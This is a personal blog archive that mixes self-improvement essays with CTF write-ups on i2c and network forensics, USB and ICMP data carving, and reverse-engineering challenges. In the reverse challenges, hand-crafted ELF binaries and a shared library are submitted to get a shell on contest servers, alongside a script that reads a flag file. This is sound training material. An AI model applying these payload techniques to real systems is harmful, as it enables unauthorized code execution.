cristicretan.ro

I need my ego.

2021-01-12T09:33:00+02:00

Yesterday I was playing basketball with a friend. When I was shooting, I noticed that most of the time I always hit the first one, and pretty often I hit 2 or 3 shots in a row. I suck. Statistically, this doesn't make any sense. Out of 10 shots, I'd probably hit 5 or 6 from which 2 or 3 would be back to back.

Why?

The whole point of this story is that you need a fight, you need some sort of fight to succeed. There are a lot of good basketball players out there, but the ones at the top are there because they had something to prove.

It's never enough; if your value system is based around money or fame like most people there will never be enough of it. I think that life fulfillment is impossible without a little bit of this. Even if you have a house on the beach with a family or you're living a bohemian life, you will end up needing a fight. Sure, some people don't need much competition. They're happy putting political bumper stickers on their Subaru.

But some guys need to overcome a mountain before they can relax at the beach. My competition growing up was proving I existed. I grew up a regular white boy, basically inexistent. Growing up I just wanted some kind of attention and validation, something to prove that I existed and it's left me with a lot of resentment. I don't know if I constructed my personality and my belief system based on truth, or based on standing out.

Whenever I was going in for a significant change in my life or when I was preparing for any kind of contest, I would always tell people around me about that. Otherwise, I would have just told myself that "I'll try my best at this" and it would've been some half-ass job, but because I knew people are going to see it, I knew I had to step my game up.

Watching the Michael Jordan documentary is how he used his ego to become the best. At any point when Chicago needed a desperate win, somehow Jordan always said:

"I took it personal."

A writer once dissed him and said he wasn't shit and he took that energy and into the game. He wasn't just playing basketball. He was playing for pride.

What separates professional athletes from each other? Is it ability? Is it skill? I don't think so. Most of them are built the same, most of them have been playing whatever sport they play for the same amount of time, the same training, but what separates them is their mental capacity, it's how much they believe that they are the best player, how much confidence they have when they are right in front of the net and they need to score. How much they can sustain their talent throughout the entire season.

A lot of players show glimpses of the same capabilities that the best players have but they can't do it day in and day out. It's champions with mental strength who need to overcome their ego and their pride, who need to prove something because somebody wronged them. Those are the players who are the best players.

Ronnie O’Sullivan's thoughts

My First Line of Code

2020-10-03T15:20:00+03:00

Just today I stumbled upon this video. It is about Linus Torvald's first line of code. Thus, of course, I started thinking about my first lines of code and how I was interested in computers ever since I was a little.

I still remember my first "real" program. I was in the 6th or 7th grade and my sister just started high school, they were already learning the C++ syntax, variables, and how to read from standard input and write on standard output. I remember I was taking her notebooks when she was not using them and reading everything in it. Then I created a program that would read 2 integers from standard input and would output their sum on standard output. I didn't know what I was writing, or why it worked. It just worked.

I was so excited about what I did, the next day at school I had to tell that to all my colleagues and showed them at the informatics class. At that class, we were just editing Word files and just playing around in Microsoft Office. Even the teacher was impressed with what I showed them. I felt proud of myself.

Before that, I was playing around with WordPress websites and simple HTML and CSS lines. I and my neighbor were very good friends and we were spending a lot of time together. After discovering WordPress and the magic of HTML and CSS, I proposed to him we could create like an "archive" website with all our favorite cartoons so we could watch them at any time. But we never finished it because we didn't know what will happen if we just put videos that we do not own online, thus we never finished it. But I think it was an awesome initiative.

Why it's so hard to get really good at something

2020-07-31T00:29:00+03:00

Let it be infosec, a sport, playing an instrument, or even a game you'd like to get good at. After doing it for some time, you might ask yourself why you're not as good as the top people doing that specific thing.

Whatever you want to get good at, if you would ask a professional for some advice to get better, often the first response you will get is to do it more. If you're seeking improvement, you must spend more time doing that specific thing. There is no way around it. It's in the nature of any topic or skill. The saying that you've probably heard sometime in your life is that it takes 10000 hours to master a skill.

How can it be that some people won't get better at something even after thousands and thousands of hours spent? One reason could be the attention. When learning a skill, you have resources like time, money, knowledge, and energy, but one resource that you have to think about more is your attention.

Attention as a resource

Cal Newport, in his book "So good, they can't ignore you", where he explains how you can achieve more, while doing less, just by paying more attention and being more organized. You don't necessarily have to do that thing for 10 hours straight to get better. It's possible to be more effective if you do that thing for 2 hours if you invest all your attention only on that specific thing in that period.

There is a reason that if you were doing that thing for only 2 hours a day, it would seem hard and unfulfilling. Say you wanted to get better at a game and you would play 100 games and in 60 of those games you win, of course, you still lose 40 of them, but if I ask you right now, everyone will take this deal because you're guaranteed to win 60 games, and by the end of them you will be fulfilled that you made progress. But what if in those 40 games you will experience extreme levels of frustration, and on top of that, if you would be playing two games a day, it will take 50 days to finish them, and somewhere in that time, you will have a losing streak of 8 games, such that in 4 days you only lose games. You can see how this might be tiring because all your mind will be thinking of is that you lost for four days in a row. This might be a contributing factor to why people choose to do something as much as they can in one day because they will hope they will finally get it. It's not good practice, but it feels understandable.

Your focus and attention are a sophisticated resource that is hard to understand at first, but thinking about it logically starts to come together. Nobody's brain is perfect, and our attention spans limit all of us. It's just human nature. If you had a rough day or your mind was distracted, it's almost impossible to do it at your highest level.

The Dunning-Kruger Effect

It's tough to learn a new skill, and seeing improvement and getting better is a long and daunting process. It's not necessarily always fun either. One other thing that holds us human back is our cognitive biases that can get in the way of our progress. Quite a few are relevant in the topic of improvement but none other than the Dunning-Kruger Effect. Most of the people might have heard sometime about the Imposter Syndrome. Well, the Dunning-Kruger Effect is somewhat the reverse of the imposter syndrome.

In psychology, the Dunning–Kruger effect is a cognitive bias in which people with low ability at a task overestimate their ability. It is related to the cognitive bias of illusory superiority and comes from the inability of people to recognize their lack of skill. Without the self-awareness of metacognition, people cannot objectively evaluate their competence or incompetence.

Source

For example, in one study 88% of American drivers said their driving is "above average" when mathematically, of course, only less than 15% of people can genuinely be above average at anything. The reason that this happens is not that much about ego and being an arrogant person, as you might think. Usually, people are willing to admit when they make a mistake especially big ones that end up hurting other people, the issue comes that in order to recognize the error, you have to have some level of knowledge in that particular field. This is what Dunning and Kruger described as the "double burden". We don't know how much we don't know.

Result-oriented thinking

Let's say we are playing a game where I roll a die. It's a 6-sided die, so I turn the die, and you have the options of what outcomes to predict. So instead of picking a number from 1 to 6, I tell you that you have two options.

Option A: I'm going to roll precisely a 6. If I roll precisely a 6, you win.
Option B: I'm going to roll one of the numbers of 1 to 5. If I turn one of them, you win.

I roll the die, and I get a 6. Most people will look at that and say, "Okay, I made the wrong decision, the outcome was 6, so it was wrong to pick B this time, I should've picked A.". You see, even if the outcome was not the one in your favor, you still made the right decision with the information you were given. This is result-oriented thinking. If you're always thinking about the outcome, it will probably cloud your judgment and reasoning. Instead, you should focus on the process, not on the result.

ECSC - i2c & packetz

2020-05-11T20:41:00+03:00

Last weekend I participated at the national phase of ECSC and I want to showcase some of the challenges that I solved and I find interesting.

Today we're going to take a look at i2c in the forensics category. It was a 475 points challenge. Unfortunately I can't show you the prompt because the challenges were made unavailable after the contest. It said something like 'the flag is in this EEPROM microcontroller.'

We were given a .dsl file. We will use DSView to open it and try to read it in some way. But first let's see what i2c is.

Okay, the definition from wikipedia for i2c:

I2C (Inter-Integrated Circuit) is a synchronous, multi-master, multi-slave, packet switched, single-ended, serial computer bus. It is widely used for attaching lower-speed peripheral ICs to processors and microcontrollers in short-distance, intra-board communication.

So, basically we are dealing with a serial communication protocol. Thus, data is transferred bit by bit along a single wire (the SDA line in this case). It is better explained in the nxp user guide.

For now, we will use a tool that is interpreting the .dsl file for us. I used DSView. So let's see what we get if we open the file in DSView.

Now we have to click on the + sign on the right side to specify which is the SDA (serial data) line and which is the SCL (serial clock) line. My guess is that the line number 1 is the clock line, if you're not sure you can always switch. After doing so, you should see something like this:

Cool! Now we can see the protocl interpreted correctly. Just as explained here at section 3. The I2C-bus protocol.

We can export this data using the right panel and clicking on the floppy disk and we can export it as a .csv file. We get this:

We see some reads and some writes. In my first try, I completely ignored the writes, because my first thought was that they are irelevant since we are reading the flag from input, that was a mistake. After some looking at those bytes, it was clear that it was trying to spell something out, if you were to print the first 8 bytes it would spell DEADBEEF. After trying to write a script to carve every read from the file and print it, it will show me a scrambled flag:

After some thinking, i've figured out that the writes were actually indexes for the reads. Then we can write a script to parse this file like so for us:

#!/usr/bin/python
import time
import sys

f = open('exported.csv', 'r')
data = f.read()
f.close()

lines = data.split('\n')

flag = bytearray('a'*86)

writes = 'Data write: '
reads = 'Data read: '

ind = 0
for i in range(len(lines)):
    if 'Data write: ' in lines[i]:
        ind = lines[i].split(' ')[-1].strip().lower()
        ind = ord(ind.decode('hex'))
    if 'Data read: ' in lines[i]:
        byte = lines[i].split(' ')[-1]
        byte = byte.decode('hex')
        flag[ind] = byte
    sys.stdout.write(flag + '\r')
    sys.stdout.flush()
    time.sleep(0.012)

print ""

And we will get the flag like so:

FLAG:

ECSC{FB95BED62EE60F84EEA36C01E6337457FB44BD22404C139C3B387262C43F23A9}

Now we can take a look at packetz. It was a 500 points challenge in the network category. Not many people solved this challenge, because it was a little bit guessy. Once again I can't show you the prompt. But I think it was something like 'some IP packets are more important than others'.

We were a given a .pcap file. After opening it it in wiresharking and taking a brief look at the packets, I decided to run strings on it, because most of the data in the data section of the TCP packets was text. So let's see.

We see different sha256 hashes, but they are just garbage. Literally, if you try to decrypt them with an online database they literally spell garbage. There was also a hint given on this challenge that said: Garbage is garbage. Forget it.

The strings in the data related with "Democleitus" and "Cleoxenus" were pointing out to an old cipher, it was called: Polybius square. Every sha256 hash, but one were decrypting to garbage, that was this one:

3fa065b389c467810b6c609384b7709d8a28d54ff3ee247708020f9b39c058ec

I played with this and the Polybius square for a little while, but with no luck. Also notice that "Democleitus" and "Cleoxenus" were talking about some key LOCK. So I tried different varitions of this key with the Polybius cipher but nothing really helped. After some time I gave up this idea and looked again more closely at the prompt:

some IP packets are more important than others

Now, it might have some sense to take a look at the IP header in the pcap. This is how a standard IP header would look like.

There are not so many things you can change in the IP header to still be considered valid. Those things are:

The checksum field. Notice that in our case the validation of the checksum is disabled. That might be something.
The Identification field.
The Service field.

So I took them one by one. Extracted from like the first 4-5 packets and the last 4-5 packets, the mentioned fields. Just to see if something is repeating. Since we know the flag format: ECSC{.*?}. We get something like this:

1.Checksum.

First 4: 45 76, 5c e2, e3 7d, 3a 4e.

Last 3: 75 ab, 93 73, 25 ee.

2.Identification.

First 4: 0d 12, 13 3a, 17 62, 32 79.

Last 4: dc a0, be d3, 2c 24, 1d 50.

3.Service.

31 78 73 7a 78 78 73

As you might notice, nothing really spells out "hey, i'm the flag get me". This was the last challenge I solved during the competition, 30 minutes before the end. I was feeling that I was getting closer, so at that point I would try everything, because I clearly had no time to start looking at another challenge.

So I've tried to use the given key LOCK to xor these bytes around. After xoring I would notice something werid about the service field.

The last byte it's an }. Now let's xor some service field bytes from the last packets.

Hmm. Now we're talking. We see some 'E' and 'C'. So this might be it. We can try to get every service byte, reverse the sequence and try and xor with the key, in a rolling xor manner. Notice that, we found 'E' when xoring with 'O', and 'C' when xoring with 'L'. Since those are the last bytes then if we reverse it we should xor with 'OLKC' because the key ended earlier. So writing the script in the heat of the moment I just handwritten the key rolled over the flag length.

#!/usr/bin/python


key = 'OLKCOLKCOLKCOLKCOLKCOLKCOLKCOLKCOLKCOLKCOLKCOLKCOLKCOLKCOLKCOLKCOLKCOLKCOLKCOLKCOLKCOLK'

encrypted = bytearray('0a0f180034787a277a7b2a72777f28227f2e7b7129787c722a7f7d742e7d727329282d27767c78277c7c7c252c287f702e2f28217d7c72707f2a78762a78737378787a737831'.decode('hex'))

flag = ""
for i in range(len(key)):
    print chr(encrypted[i] ^ ord(key[i])),

And this will give us the flag.

FLAG:

ECSC{41d57a183ca0b02f471e367a190fdfd903d307fcd43accb20930f35e48074107}

[Part 3] Extracting Leftover Data from USB Packets - ACS-IXIA_CTF - Jerry Paints & Exfiltration

2020-05-07T15:56:00+03:00

Today I'm going to explain Jerry Paints and Exfiltration from the Forensics category.

Let's start with Jerry Paints. It was a 100 points challenge. Unfortunately I can't show you the prompt again because the challenges were made unavailable.

We were given 5 pcap files. I just downloaded them and straight up jump into wireshark. Opening the first file 1.pcapng in wireshark, we see it's something about some USB communication.

The challenge prompt was something about Tom & Jerry.

A mouse and a cat. Talking about USB it might be a pretty good reference to a mouse. So let's check out the USB Protocol documentation (page 61). We get a really nice table:

Byte	Bits	Description
0	0	Button 1
	1	Button 2
	2	Button 3
	4 to 7	Device specific
1	0 to 7	X displacement
2	0 to 7	Y displacement
3 to n	0 to 7	Device specific

Also notice:

Devices may append additional data to these boot reports, but the first 8 bytes of keyboard reports and the first 3 bytes of mouse reports must conform to the format defined by the Boot Report descriptor in order for the data to be correctly interpreted by the BIOS. The report may not exceed 8 bytes in length.

Okay, so looking at the leftover data and using the hints about Tom & Jerry we can deduce that we are facing a Mouse USB Packets. So let's try to carve out of the pcaps the leftover data. We can use tshark for that:

tshark -r 1.pcapng -T fields -e usb.capdata

This will give you something like this:

I personally don't like those empty new lines, so let's get rid of them using sed and redirect everything into a file.

tshark -r 1.pcapng -T fields -e usb.capdata | sed -r '/^\s*$/d' > data1.txt

To decode this get the X, Y coordinates out of this leftover data we can write an awk script.

#!/usr/bin/awk -f

function comp(v) {
    if (v > 127) {                  # so we could get negative values too
        v -= 256;
    }

    return v
}

BEGIN { FS=":" }                    # delimiter

{
    x += comp(strtonum("0x"$3));    # calculation
    y += comp(strtonum("0x"$4))
}

$1=="01"

{
    print x, y                      # printing the values
}

Nice. Now let's run it.

Now redirect this into a file and let's use gnuplot and then plot <filename> inside the gnuplot command line. Doing that we will get:

Kind of looks like we're on the right track, doing that for every pcap in order, we get some similar plots. After some fiddling around with it and rotating the plots around, we can deduce something readable.

FLAG: ACS_IXIA_CTF{U5B$T}

Now let's continue with Exfiltration, around 150 points challenge. Once again we are give a pcap file. This time a really large one. During the CTF I started looking at this challenge just after a hint was leaked which really helped me solving this. The hint was: Why are there so many ICMP packets?!

Let's just go straight up and analyze the ICMP packets in wirehsark. So filtering after the protocol we get:

Urgh. This is a lot of stuff. Let's carve out the ICMP packets into another pcap. You can do that with wireshark filters. After doing that and opening the new pcap, let's sort after the destination, so just clicking on the destination column. We get:

Now let's just scroll through them and see if we can find something interesting. It looked like only some bytes of the data section were changing. Anyway. After some scrolling we see something readable byte-by-byte, meaning in every packet there would be another byte forming a sentence. Like this:

Look at the last but one byte, it spells: i_wonder_whats_in_here.html. So this must be a file. Rushing to the very first packets we see in the same spot (last but one byte) in the first 2 packets PK. This should tell you something.

PK is the begininng of the magic header for zip files. So this must be a zip file. We can extract the data from all these packets and then write a python script to extract the last but one byte from every packet's data. So let's see the script.

#!/usr/bin/python

f = open('hex', 'r')

data = f.read()
f.close()

lines = data.split('\n')

s = ""
for line in lines:
    if len(line) > 3:
        s += str(line[-4]) + str(line[-3])

bytez = s.decode('hex')
print bytez

I extracted the data in string form, so I should get the 4th and 3rd characters from the end. That would represent the last but one byte. Redirecting the output to a file, we indeed get a zip file. After unzipping we see the i_wonder_whats_in_here.html.

And we get the flag.

FLAG: ACS_IXIA_CTF{fnflne_pncsbdd}

[Part 2] ACS-IXIA-CTF Write-up - Two face

2020-05-06T20:33:00+03:00

Last weekend I participated at the CTF organized by IXIA and I wanted to showcase some of the challenges I solved that I found particularly interesting. (I think) there will be only 3-4 parts of this with 4-5 challenges. I'll try to present my thinking and all the pitfalls I've ran into.

Today I'm going to explain Two face from the Reverse category. It was a 150 (or 200) points challenge. Unfortunately I can't show you the prompt again because the challenges were made unavailable.

If you haven't checked out the first article, make sure to read it because I will use some intuition from the previous challenge to solve this one.

Analyzing

Once again, we are given a binary and some host and port to connect to. Let's do the usual stuff (strings, strace, ltrace). Running ltrace we get:

Looks like it's almost the same spiel like the previous challenge, it creates a file, reads 16536 bytes in this case, changes it's permissions and starts a process probably to check it's output later with banners. But let's also take a look in IDA.

Here we have the main function:

Some basic buffer handling, really common in ctfs.

The function which creates the file.

Checking the output.

Here we have some interesting function. We'll call it get_compute.

And a function which unlinks the file.

We see that the get_compute function calls dlopen and dlsym for to get the address of some compute function which later it calls to see if it prints to the standard output 'banners'. Dlopen expect a shared object. This means that this binary probably expects a shared library. But we also need it to output 'banners'.

Developing

Let's see if we can do that. We have plenty of space this time, so let's write a C program for it.

#include <stdio.h>

void compute()
{
    puts("banners");
}

int main(void)
{
    compute();
}

Okay. Let's compile it. And send it to the binary. Also let's pad it with the python script from the previous task.

Nothing happens. But it should work. Let's see what happens in GDB, after the dlsym call.

It calls another function, I might've missed it in IDA. Here is it:

It looks like it calls the compute function with some parameters and compares the return value with some array probably, every 3rd element. At this point, during the CTF, I've ran in several pitfalls:

I haven't noticed that it calls the function with arguments, after analyzing in GDB, I saw the mov rdi, something instruction and then thought about adding a parameter to my compute function.
It was a long time after i've saw the mov rdi, something and thought getting the local index variable from the function which compares our return value with some array, using C variable number of arguments. Which is bad, I know.

After some time and realizations, I've decided to first copy the array that it compares out return value with into my program. And my my compute function take a parameter.

Also notice from IDA, that it gives us the parameter from the array with 10 bytes behind. The parameter given to us is at offset 0x202020 + 3*i and it compares it with the one from the offset 0x202030 + 3 * i.

So let's code it now.

#include <stdio.h>

const long long get_idx[] = {0x000000000000002e, 0x0000000000000005, 0x0000000000012561, 0x0000000000000131, 0x0000000000000004, 0x0000000000001b5e, 0x000000000000031b, 0x0000000000000006, 0x000000000004dc83, 0x0000000000000107, 0x0000000000000002, 0x0000000000000003, 0x0000000000000213, 0x0000000000000006, 0x00000000000607d8, 0x0000000000000382, 0x0000000000000002, 0x0000000000000003, 0x00000000000000b8, 0x0000000000000001, 0x0000000000000002, 0x0000000000000391, 0x0000000000000006, 0x00000000000876bf, 0x00000000000001b1, 0x0000000000000006, 0x000000000004f9e5, 0x0000000000000217, 0x0000000000000003, 0x00000000000000f7, 0x0000000000000378, 0x0000000000000001, 0x0000000000000001, 0x00000000000002dd, 0x0000000000000001, 0x0000000000000001, 0x00000000000001cc, 0x0000000000000007, 0x00000000005fbf8c, 0x00000000000002b4, 0x0000000000000003, 0x000000000000039d, 0x0000000000000298, 0x0000000000000003, 0x0000000000000216, 0x00000000000002d8, 0x0000000000000003, 0x000000000000032f, 0x00000000000002a4, 0x0000000000000003, 0x0000000000000355, 0x000000000000023b, 0x0000000000000005, 0x0000000000016bf8, 0x00000000000002a1, 0x0000000000000002, 0x0000000000000031, 0x0000000000000329, 0x0000000000000004, 0x00000000000014e2, 0x00000000000001a2, 0x0000000000000006, 0x00000000000819e9, 0x0000000000000112, 0x0000000000000001, 0x0000000000000002, 0x00000000000002bd, 0x0000000000000007, 0x00000000001ed274, 0x00000000000000af, 0x0000000000000005, 0x00000000000015b7, 0x00000000000000aa, 0x0000000000000005, 0x0000000000014cdb, 0x0000000000000081, 0x0000000000000006, 0x00000000000866b6, 0x00000000000002ef, 0x0000000000000002, 0x0000000000000012, 0x0000000000000171, 0x0000000000000004, 0x0000000000001570, 0x0000000000000026, 0x0000000000000007, 0x00000000006d6577, 0x00000000000000bd, 0x0000000000000002, 0x000000000000005f, 0x0000000000000351, 0x0000000000000001, 0x0000000000000001, 0x0000000000000143, 0x0000000000000004, 0x00000000000005f0,
 0x00000000000001d2, 0x0000000000000003, 0x00000000000002a1, 0x00000000000000f2, 0x0000000000000007, 0x00000000001256f5, 0x00000000000001e7, 0x0000000000000003, 0x000000000000017d, 0x0000000000000039, 0x0000000000000001, 0x0000000000000009, 0x000000000000023f, 0x0000000000000001, 0x0000000000000006, 0x000000000000021e, 0x0000000000000005, 0x0000000000001b6d, 0x0000000000000045, 0x0000000000000007, 0x00000000003dfe8e, 0x00000000000000d2, 0x0000000000000007, 0x0000000000659d06, 0x000000000000025c, 0x0000000000000003, 0x00000000000002a9, 0x00000000000001ac, 0x0000000000000005, 0x000000000001205b, 0x00000000000002c5, 0x0000000000000003, 0x0000000000000079, 0x00000000000002e7, 0x0000000000000002, 0x000000000000000d, 0x00000000000002b3, 0x0000000000000001, 0x0000000000000008, 0x00000000000001fd, 0x0000000000000005, 0x0000000000005f56, 0x0000000000000369, 0x0000000000000005, 0x000000000000d048, 0x00000000000002cd, 0x0000000000000002, 0x0000000000000060, 0x000000000000028b, 0x0000000000000007, 0x0000000000477a79, 0x0000000000000339, 0x0000000000000004, 0x0000000000000c0a, 0x0000000000000000, 0x0000000000000000, 0x00007ffff7bcc760, 0x0000000000000000, 0x00007ffff7bcba00, 0x0000000000000000, 0x00007ffff7bcc680, 0x0000000000000000, 0x0000000000000000, 0x0000000000000000, 0x007372656e6e6162};

long long compute(long long number)
{
    puts("banners");

    size_t i = 0;

    while (1) {
        if (get_idx[i] == number) {
            break;
        }
        i++;
    }

    return get_idx[i + 2];
}

int main(void)
{
    compute(1);
}

Let's compile it and send it to the binary. Don't foget to pad it.

After some output of "banners". We get the shell.

And then we can get the flag.

FLAG: ACS_IXIA_CTF{flip_of_a_coin}

Doing this write-up I realized that I made many silly mistakes, which could've been easily avoided. If I would've looked more closely in IDA and took some notes of the weirdness that I saw. I could've done it faster and better. But I didn't. I was sloppy and didn't pay attention to the details.

Often times when it comes to hunting for bugs it's the little details that matter. A hacker who can focus on details will discover great vulnerabilities.

Now, I know that this was a lesson for me, but I hope it was one for you too.

[Part 1] ACS-IXIA-CTF Write-up

2020-05-05T00:26:00+03:00

Let's start with the Independence Day challenge in the Reverse category. Unfortunately I can't show you the prompt of the challenge since they were made unavailable right after the CTF.

Analyzing

We were given a binary, and some host and port to connect to. I've ran the basic reconnaissance on it (strings, strace, ltrace, etc.) to get some basic idea of what the binary is actually doing. Here is the output of ltrace:

We can see that it reads exactly 480 bytes, writes them into a file /tmp/independence_day, and then changes it's permissions. This already gave a lot of information. Notice that it also makes the file executable, so will the program execute it? Let's do some static analysis with IDA to find out.

First I've completely ignored the function sub_F1A, (in the end it didn't matter, I later found out about the wrong direction I took using dynamic analysis), so let's do that as well, for now. We also see some string compares and in the end system('/bin/sh');, but running it we didn't reach it, probably because of the compare, it passes the value to be compared to the function sub_FED1, let's see what it does with it.

Here in sub_FED1, we see some key things a fork, pipe (probably for redirecting output of something), and an execl on our file. So our file is actually being executed on the server. Here my first thought was: "so then I could easily make a bash script and cat the flag with it". Let's try this and see what happens.

#!/bin/bash

cat /home/ctf/flag

Cool! but remember, the binary reads exactly 480 bytes. So we must pad this with \x00. Let's do a python script to do that for us, just in case this doesn't work.

#!/usr/bin/python

ln= 480

with open('script.sh', 'rb') as f:
    data = f.read()
    payload = data
    print payload + '\x00'*(ln - len(payload))

Now let's actually send this payload to the binary.

Nothing happens. Let's analyze what is going on in gdb.

After finding the main address and seeing where it is breaking, we can see that it compares the fifth byte read (which is loadead in eax, right before) with 0x2. Weird. Then all the scripts ideas are dead now. We've ran into a pitfall.

Now comparing it with 0x2 says to us that it must be a binary file. It must be some kind of magic header check.

Magic headers are (from Wikipedia)

file signatures, data used to identify or verify the content of a file. Such signatures are also known as magic numbers or Magic Bytes.

Having a miraculous idea to run xxd on the binary. We can see that it's fifth byte is 0x2. Then it must be an ELF64 that we must create in order for it to run it for us.

Remember in GDB in the sub_FED function, that it reads 128 bytes from our input and tries to compare them with Independence Day in the main function. After that unlinking the file and calling system('/bin/sh').

Developing

Now we know what we have to do. We need a less than 480 bytes, 64 bit binary that should output 'Independence Day'.

Let's write a quick C program that will do that for us and compile it. See how large it is.

Ah! 8296 bytes. That's clearly too much. We can get rid of the stdio library and symbols, and use write, let's see if that helps us.

6120 bytes. with some warning. still works, but it's not enough. We might try to write it in assembly. Let's see.

bits 64

global main
section .data
msg: db 'Independence Day'

section .text
main:
    mov rax, 1      ; for write syscall.
    mov rdi, 1      ; stdout
    mov rsi, msg    ; address of the message
    mov rdx, 0x10   ; length
    syscall

6072 bytes. gcc is really not helping us. Let's try and create our entry point. We can do that compiling with -nostartfiles. We are just creating a _start, so in our case, substituing main with _start in the .asm.

bits 64

global _start
section .data
msg: db 'Independence Day'

section .text
_start:
    mov rax, 1 ; for write syscall.
    mov rdi, 1 ; stdout
    mov rsi, msg ; address of the message
    mov rdx, 0x10 ; length
    syscall

Well, it certainly helped us. Hmm, we could try and link it ourselves. That should really make a difference!

504 bytes. Nice. That's almost what we need, but we get a seg fault, but we don't care since our binary is just reading the output which is correct. Do we really need that much? What's left of it anyway?

We could add the program header and the program offset ourselves so that the linker will not add some other irellevant stuff for us. You can read more about this at this cool article about a really small binary. Let's see.

bits 64

    org    0x00400000      ;Program load offset

;64-bit ELF header
ehdr:
    ;ELF Magic + 2 (64-bit), 1 (LSB), 1 (ELF ver. 1), 0 (ABI ver.)
    db 0x7F, "ELF", 2, 1, 1, 0             ;e_ident

    times 8 db 0                           ;reserved (zeroes)

    dw 2                    ;e_type:       Executable file
    dw 0x3e                 ;e_machine:    AMD64
    dd 1                    ;e_version:    current version
    dq _start               ;e_entry:      program entry address (0x78)
    dq phdr - $$            ;e_phoff       program header offset (0x40)
    dq 0                    ;e_shoff       no section headers
    dd 0                    ;e_flags       no flags
    dw ehdrsize             ;e_ehsize:     ELF header size (0x40)
    dw phdrsize             ;e_phentsize:  program header size (0x38)
    dw 1                    ;e_phnum:      one program header
    dw 0                    ;e_shentsize
    dw 0                    ;e_shnum
    dw 0                    ;e_shstrndx
ehdrsize equ $ - ehdr

;64-bit ELF program header
phdr:
    dd 1                    ;p_type:       loadable segment
    dd 5                    ;p_flags       read and execute
    dq 0                    ;p_offset
    dq $$                   ;p_vaddr:      start of the current section
    dq $$                   ;p_paddr:      
    dq filesize             ;p_filesz
    dq filesize             ;p_memsz
    dq 0x200000             ;p_align:      2^11=200000=11 bit boundaries

phdrsize equ $ - phdr

_start:
    mov rax, 0x1
    mov rdi, 0x1
    mov rsi, msg
    mov rdx, 0x16
    syscall

    msg:    db  'Independence Day'    ;message and newline

filesize equ $ - $$

Nice. Now we could directly assemble it into an executable.

163 bytes!!!!! Amazing. it's waaay better. Let's see if this works on the binary. Don't forget to pad it with our python script.

Nice. We got the shell. This was my last file I sent to the server during the CTF.

FLAG: ACS_IXIA_CTF{star_spangled_banner}

In the next part, I'll try to cover "Two face" from the reverse category.

Life Is Not A Disney Movie

2020-03-31T23:12:00+03:00

I recently read an article from The Atlantic. It was titled: You Can Do Anything: Must Every Kids' Movie Reinforce The Cult of Self-Esteem?

The author points out that modern animated films have largely fallen a predictive rut:

"anthropomorphized outcast who must overcome the restrictions of their societies or even species to realize their impossible dreams."

These movies tell us that it's believing in one's self, that allows a fat panda to become a Kung Fu master,a to rat become an accomplished chef and an unscary monser to become a top-notch scarer - after only a bare minimum of training and essentially no experience.

The fools in these movies are those poor guys who wasted their time practicing when all they really needed was a pep talk.

The author makes a connection between this narrative device and the rise of the cult of self-esteem among young children. I want to take it into a different direction.

These plots are similar to popular conversations about career planning. The career guides tell us that the key to an amazing life is to be true to your inner passion and ignore the haters as you pursue your dream.

For example here is a quote from such a guide:

"I believe you already have everything you need inside of you. You are good enough the way you are. You’ve simply learned ideas that keep you from living up to your full potential."

It's easy to imagine these quotes out of the mouth of an anthropomorphized rat or kindly fluffy panda bear.

"Follow your passion" is bad advice.

There are 2 main reasons why this is true:

The first reason is that most people don't have a pre-defined passion to follow. This is especially true if you consider young people who are just starting to be on their own for the first time. The advice to "follow your passion" is frustratingly meaningless if, like many people, you don't have a passion to follow.
The second reason is that we don't have much evidence that matching your job to a pre-existing interest makes you more likely to find that work satisfying.

Following your passion is not a bad thing. "Follow your passion" as an advice is bad. My philosophy is that if you want to end up loving your working life, the choice of what you do is a minor piece in this puzzle. It's how you do what you do, not pre-existing trait or passion, that matter.

These 2 points are detailed in Cal Newport's talk: Follow your passion is bad advice.

I always took the classic childhood lesson as exactly that. "You can do anything. But you need to put in the work to get there." Some movies demonstrate this better than others. I'm not saying the opposite, "don't chase your dreams, you're not capable", because that would seem like an even worse message.

Chasing a dream is a trade-off. And contextual. If you're and extreme case like Homer:

with a miserable default, there's nothing to lose in chasing the near-impossible. On the other hand, if your out-of-reach dream is X, but you're almost as happy doing Y, then sure, it might better to just do Y. Most people fall in between. You just need to determine whether the work is worth it.

If you study real people who build amazing lives in the real world, you will find that their paths are more nuanced, more complicated, and usually a bit more interesting. These paths tend to involve quite a bit of hard work, much of it conventional, and doesn't tend to involve a lot of bold resistance to the status quo. It turns out that society doesn't care what you do for a living, but rather about how well you do what you do.

I am not blaming Disney movies. That would be unnecessary and foolish. Kids movies are supposed to be fun - we can't place such explanations on them. At the same time this strengthens my argument here. If you're career thinking matches what's spouted in a fun, light, kids movies... you need more advanced career thinking!

In other words, it's time for our taste in career advice to mature alongside our taste in movies.

justCTF Shellcode Executor Pro and Discreet write-up

2019-12-23T15:01:00+02:00

Last weekend I participated at the CTF organized by the justCatTheFish team and I wanted to showcase 2 challenges that I solved.

Let's start with Discreet. It was a 373 points (at the time I solved it) challenge in the misc category. Here is the description of the challenge:

We can see, we're given a link to some file called "dft.out". Let's download it and see what's in it. We can use wget for that.

wget "https://justctf.fra1.digitaloceanspaces.com/510a6a1374d01f76dad2d2e95ab8c65c/dft.out"

Open it using your favourite text editor:

Looks like a bunch of complex numbers! We might plot them and see if we get anything. To do this we can write a quick python script, but before that python will give us an exception if we use i for dealing with complex numbers, so we have to use j, so we just need to change every occurence of i in the file with a j.

#!/usr/bin/python
import matplotlib.pyplot as plt

points = [...]

x = []
y = []
for pt in points:
    x.append(pt.real)
    y.append(pt.imag)


plt.scatter(x, y, s=0.5)
plt.show()

For the part where I used:

points = [...]

You can just copy paste the numbers. Running this we get:

Doesn't really say much, so we take a look at the challenge prompt again. Recalling the challenge name was "Discreet" and the prompts says:

The numbers Jean, what do they mean!

Also the name of the file was "dft.out". Using these hints we might think about the Discrete Fourier Transform. Also "Jean" is a hint to Joseph Fourier. Knowing this, we can assume that those points are from a DFT, so we can apply the Inverse FFT.

We can do that using the numpy module in python or we could write our own IFFT using the wikipedia definiton. I will showcase both solutions.

Method using numpy module.

We can use the np.fft.ifft function to apply the IFFT on the given points.

#!/usr/bin/python
import matplotlib.pyplot as plt
import numpy as np

points = [...]

inv_points = np.fft.ifft(points)
x = []
y = []
for pt in inv_points:
    x.append(pt.real)
    y.append(pt.imag)


plt.scatter(x, y, s=0.5)
plt.show()

And we get this result:

We can see that it's starting to look like the flag. At first, this didn't really told me anything so I tried to apply the IFFT multiple times, applying it 3 times we get the inverse in time of the function. But I found out we also get a nice looking view of the points. So just apply the IFFT 2 times more and plot the result and you should get:

Nice!

